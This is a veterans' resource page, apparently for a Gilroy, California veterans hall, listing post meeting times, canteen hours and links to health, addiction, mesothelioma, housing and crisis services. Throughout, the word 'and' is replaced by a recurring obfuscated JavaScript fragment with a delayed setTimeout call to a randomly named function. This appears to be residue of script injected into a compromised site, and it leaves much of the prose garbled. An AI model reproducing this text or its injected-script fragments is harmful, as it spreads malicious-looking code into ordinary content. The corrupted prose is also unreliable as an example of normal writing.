Resources


American Legion Post 217

Business meetings 1st Thursday of the Month @ 6pm, Social events 3rd Thursday of the Month @ 6pm.

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Bob Armendariz
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American Legion

Auxiliary

Business meetings 4th Thursday of the Month @ 6pm

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Maryann CollumPresident
408.842-9995
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VFW John A. Berri Post 6309

Business meetings 1st Tuesdays of the Month @ 7pm, Social events 3rd Tuesday of the Month at 6pm.

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Bob Diaz
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VFW Auxiliary

Business meeting 2nd Monday of the Month @ 5pm

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Mercy Goold                  President                      408.710-0037 vfwladiesauxilary

Honor Guard/ Color Guard

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Camilo De La Cueva 408.842.3838

Gilroy Veterans Memorial Canteen

 

      Bar Council
      Joe Gonzales Chairperson
      Bob Armendariz American Legion 217
      Ted Viola American Legion 217
     Danny Molina VFW 6309
     Gilbert Horta VFW 6309

      *Open to all members of the American Legion Post 217, VFW Post 6309, veterans, with proof of service, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and their guests.

Open Weekdays at 2 pm andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Saturdays & Sundays at 10 am. The Veterans Canteen closes between 6 -10 pm based on customers. Whenever there are fewer than 3 paying customers after 6 pm, the bartender will close for the night. To contact the Canteen call 408.842.4913.

 

 

Other Veterans Resources

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To schedule an appointment with the Office of Veterans’ Services for Santa Clara County call 408.918.4980 or visit  www.SCCGov.org/vets for more information.

 

Addiction Resources –  Addiction Resource was created to help people struggling with substance abuse andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and to provide support to their loved ones. Our goal is to make helpful andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and verifiable information available on substance abuse andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and addiction rehab andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and recovery as well as direct you to the best sources of help, including The Substance Abuse andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Mental Health Services Administration (SAMHSA) at the U.S. Department of Health andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Human Services. Addiction Resources recommends the article,“Why is Smoking Prevalent Among Veterans.”

Airline Benefits for Military FamiliesRewardExpert.com has compiled the benefits available to military families (from activity duty to veterans to dependents traveling without the service member) with the major airlines. The benefits list covers airfare discounts, baggage allowances, lounge access andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and waived change/cancellation fees.

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California Phones – Every day, specialized California Phones from the California Telephone Access Program (CTAP) enable over half a million Californians to stay connected. There’s a California Phone for every need. For example, there are amplified phones that make it easier to hear conversations. Big button phones that are easier to dial. Phones with lights that flash for incoming calls. Convenient portable phones – andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and more. We also offer phones that are specially designed for individuals with more significant disabilities. California Phones are available to persons who live in California, have telephone service andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and your doctor approves your need.

Cerebral Palsy Guidance – One person may be debilitated by cerebral palsy symptoms, while another with the same diagnosis may be perfectly able to perform all duties required of a service member. Some veterans overcame the challenges of cerebral palsy to join the military. And, some children were born with cerebral palsy, potentially because of the experiences of a military veteran parent.

Drug Dangers – Their goal is to keep the public educated andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and informed of all defective medical devices andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and dangerous medications that are currently on the market. As an online resource sponsored by Seeger Weiss LLP, Drug Dangers strives to provide accurate, relevant medical information all in one place.

Fix’d – FIX’D exists to serve the men andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and women who volunteered to serve us; our Veterans. We provide accredited life coaching andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and peer support to veterans fighting through physical andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and mental obstacles such as; PTSD, Self-Medication, Anger Management, Isolation, Survivors Guilt andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Problematic thinking. Vets wait months andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and in some instances years to receive health care; however, the need intensifies. FIX’D bridges that gap between need andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and care providing programs, peers, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and a network of health care professionals volunteering to answer the call.

IAmFinelogo – iamfine.com provides automated daily care calls check in on your loved ones andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and let you know they’re alright.

MakeTheConnection.net – is an online resource designed to connect Veterans, their family members andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and friends, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and other supporters with information, resources, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and solutions to issues affecting their lives.

Maritime Injury Center strives to provide expert information on all topics related to maritime accidents andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and injuries. Their team is passionate about helping injured maritime workers andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and their families get the answers andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and support they need.

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Military Resume Templates –  Provides resume templates for all branches of military.

Moving Help Guide was created to serve as a guide for your next move. It provides information on various types of moving services available, tips on how to save money, as well as information about the companies that provide moving help andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and moving labor services.

MyHealtheVet – My HealtheVet offers you tips andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and tools to help you partner with your health care team, so together you may work to manage your health. Here you may find useful resources when you need them. The support tools on this page are designed to enrich your experience with My HealtheVet andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and help you make informed decisions.

Operation Interdependence – A civilian-to-military delivery system that serves as a program for Americans to demonstrate their support for our troops serving overseas. Contact Suzi Kugler, Area Manager for OI Gilroy – skugler@oidelivers.org, 408-847-5906.

Realty Medics – While this site is operated by an Orlandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando property management company, they have complied a list of resources andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and information specifically for vets andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and their families thinking about buying a home.

Recall Report – Recall Report was created to alert the public to the latest information on dangerous drugs andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and products. With hundreds of suspected or confirmed dangerous drugs andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and products on the market, the up-to-date information we provide on recalls, alerts, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and side effects is vital to keeping your family safe. This link is specific to Veterans.

Rent To Own Labs – Rent to own is a new concept in real estate that’s helpful for veterans who want to buy a home but don’t have the traditional financial ability.

U.S. Department of Veteran Affairs Employment Services – An employment resources page for veterans who are looking to enhance their education, skills, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and careers.

Veterans, Addiction, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and PTSD – This medical article is about veterans andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and addiction, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and has a helpful section that covers the relationship between PTSD andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and addiction.

Veterans Burial Benefits

Veterans Crisis Line – connects Veterans in crisis andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and their families andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and friends with qualified, caring Department of Veterans Affairs responders through a confidential toll-free hotline, online chat, or text. Veterans andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and their loved ones can call 1-800-273-8255 andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Press 1,chat online, or send a text message to 838255 to receive confidential support 24 hours a day, 7 days a week, 365 days a year. Support for deaf andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and hard of hearing individuals is available.

Veteran’s Guide to Starting a Small Business – An in-depth guide for veterans who are interested in starting their own business.

Veterans Survivors’ Benefits

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MESOTHELIOMA & RELATED TOPICS

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Mesothelioma Center provides a complete list of occupations, naval ship types, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and shipyards where Veterans may have been at risk for developing asbestos-related diseases. In addition, the Center has thousandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands of articles regarding asbestos andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and mesothelioma andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and a veterans-specific section on its web site in order to help inform about the dangers of asbestos exposure.

Mesothelioma Group is a team of healthcare professionals, patient advocates, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and communication specialists who have one goal: to lead the way in supporting andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and encouraging mesothelioma patients andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and their families. Visit their web site for veteran-specific information.

Mesothelioma Guide‘s mission is to guide mesothelioma patients andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and their loved ones toward answers, care options, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and free health solutions that improve their lives.

MesotheliomaHelp is a great resource for general information andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and connects patients with caregivers.

Mesothelioma Lawyer Center provides comprehensive mesothelioma information, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and gives details on the legal options available to mesothelioma andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and asbestos victims. Our experts are available to answer any asbestos disease questions you may have regarding you or a loved one.

Mesothelioma Trust Fund Helping victims andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and their families affected by mesothelioma cancer with financial assistance for medical costs andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and treatments.

MesotheliomaVeterans.org – United States Military veterans make up over 30% of all patients with malignant mesothelioma, caused by exposure to asbestos. Learn more about your benefits options with our VA-accredited claims agents, all free of charge.

TreatMesothelioma.org is dedicated to assisting those suffering, especially veterans,  from mesothelioma cancer by providing information on their diagnosis, life expectancy, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and treatment options.

 

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